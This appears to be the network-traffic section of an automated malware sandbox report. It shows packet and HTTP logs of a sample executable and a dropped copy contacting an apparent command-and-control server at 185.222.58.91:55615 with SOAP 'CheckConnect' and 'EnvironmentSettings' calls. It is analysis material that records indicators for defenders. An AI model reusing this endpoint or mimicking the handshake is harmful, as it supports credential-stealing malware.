Jul 3, 2024 18:17:37.920232058 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.920241117 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.920248985 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.920331001 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.920341969 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.920350075 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.921297073 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.921323061 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.921334028 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.921410084 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.921420097 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.921427965 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.921574116 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.921583891 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.921591997 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.921602011 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.921731949 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.921741009 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.921749115 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.921838045 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.921848059 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.921857119 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.921924114 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.921932936 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.921941996 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.922425032 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.922585964 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.922774076 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.922853947 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.922883987 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.922893047 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.922902107 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.922909975 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.922960997 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923029900 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923163891 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923173904 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923182964 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923192024 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923199892 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923208952 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923217058 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923362017 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923372030 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923379898 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923388958 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923490047 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923500061 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923508883 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923516989 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923526049 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923533916 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923553944 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923584938 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923629045 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923639059 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923655987 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923664093 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923672915 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923836946 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923846960 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923897028 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923906088 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923985958 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.923995018 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924004078 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924011946 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924021006 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924029112 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924115896 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924125910 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924134016 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924143076 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924249887 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924261093 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924264908 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924268961 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924277067 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924280882 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924292088 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924300909 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924509048 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924520016 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924527884 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924532890 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924540997 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924633026 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924642086 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924649954 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924659967 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924761057 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924772024 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924896002 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924906015 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924910069 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924920082 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924963951 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924973965 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.924977064 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925009012 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925019026 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925026894 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925091982 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925101042 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925111055 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925120115 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925245047 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925254107 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925390005 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925400019 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925409079 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925419092 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925426960 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925435066 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925443888 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925452948 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925462008 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925478935 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925487995 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925498962 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925508976 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925571918 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925580978 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925590038 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925599098 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925606966 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925616980 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925781012 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925791025 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925847054 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925858021 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925860882 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925864935 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925868034 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925872087 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925874949 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925879002 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925882101 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.925966024 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.926069975 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.926079035 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.926271915 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.926410913 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.926422119 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.926609039 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.926620007 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.926628113 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.926637888 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.926776886 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.926786900 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.926843882 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.926852942 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.926862001 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.926891088 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.926899910 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.926908016 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.926917076 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.926927090 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.926934958 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.926943064 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927031040 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927040100 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927048922 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927057028 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927067041 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927074909 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927083969 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927093029 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927100897 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927207947 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927217960 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927226067 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927297115 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927306890 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927315950 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927324057 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927458048 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927469015 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927476883 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927485943 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927495003 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927525997 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927535057 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927539110 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927586079 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927596092 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927598953 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927607059 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927648067 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927686930 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927716970 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.927726984 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.928411961 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.928422928 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.928503036 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.928514004 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.928518057 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.928522110 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.928601027 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.928611040 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.928618908 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.928711891 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.928724051 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.928733110 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.928740978 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.928750038 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.928760052 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.928946972 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.928956032 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.928963900 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.928972960 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.928981066 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.928988934 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.929063082 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.929074049 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.972282887 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:38.893376112 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:38.906032085 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:38.906579018 CEST	49744	55615	192.168.2.4	185.222.58.91

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 18:17:24.270848036 CEST	49152	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 3, 2024 18:17:24.270848036 CEST	192.168.2.4	1.1.1.1	0xc60c	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 3, 2024 18:17:24.278146029 CEST	1.1.1.1	192.168.2.4	0xc60c	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

185.222.58.91:55615

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	185.222.58.91	55615	7216	C:\Users\user\Desktop\lZ8NRWShfC.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:17:17.773061037 CEST	240	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 185.222.58.91:55615 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Jul 3, 2024 18:17:18.348639965 CEST	25	IN	HTTP/1.1 100 Continue
Jul 3, 2024 18:17:18.482686996 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 03 Jul 2024 16:17:18 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Jul 3, 2024 18:17:23.546303988 CEST	223	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 185.222.58.91:55615 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Jul 3, 2024 18:17:23.850421906 CEST	223	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 185.222.58.91:55615 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Jul 3, 2024 18:17:24.139616966 CEST	1236	IN	HTTP/1.1 200 OK Content-Length: 6512 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 03 Jul 2024 16:17:24 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c [TRUNCATED] Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>40.94.25.3</b:string><b:string>40.94.25.57</b:string><b:string>40.94.31.16</b:string><b:string>40.94.31.12</b:string><b:string>36.99.136.136</b:string><b:string>69.55.5.249</b:string><b:string>20.99.160.173</b:string><b:string>34.28.87.190</b:string><b:string>34.17.55.59</b:string><b:string>40.73.35.80</b:string><b:string>222.98.34.226</b:string><b:string>217.111.63.60</b:string><b:string>154.61.71.50</b:string><b:string>154.61.71.50</b:string><b:string>206.81.11.221</b:string><b:string>95.174.64.244</b:string><b:string>128.90.60.21</b:string><b:string>149.22.81.101</b:string><b:string>103.27 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	185.222.58.91	55615	7608	C:\Users\user\AppData\Roaming\TmfmVKU.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:17:27.048851967 CEST	240	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 185.222.58.91:55615 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Jul 3, 2024 18:17:27.637227058 CEST	25	IN	HTTP/1.1 100 Continue
Jul 3, 2024 18:17:27.766546011 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 03 Jul 2024 16:17:26 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Jul 3, 2024 18:17:32.827147961 CEST	223	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 185.222.58.91:55615 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Jul 3, 2024 18:17:32.997888088 CEST	25	IN	HTTP/1.1 100 Continue
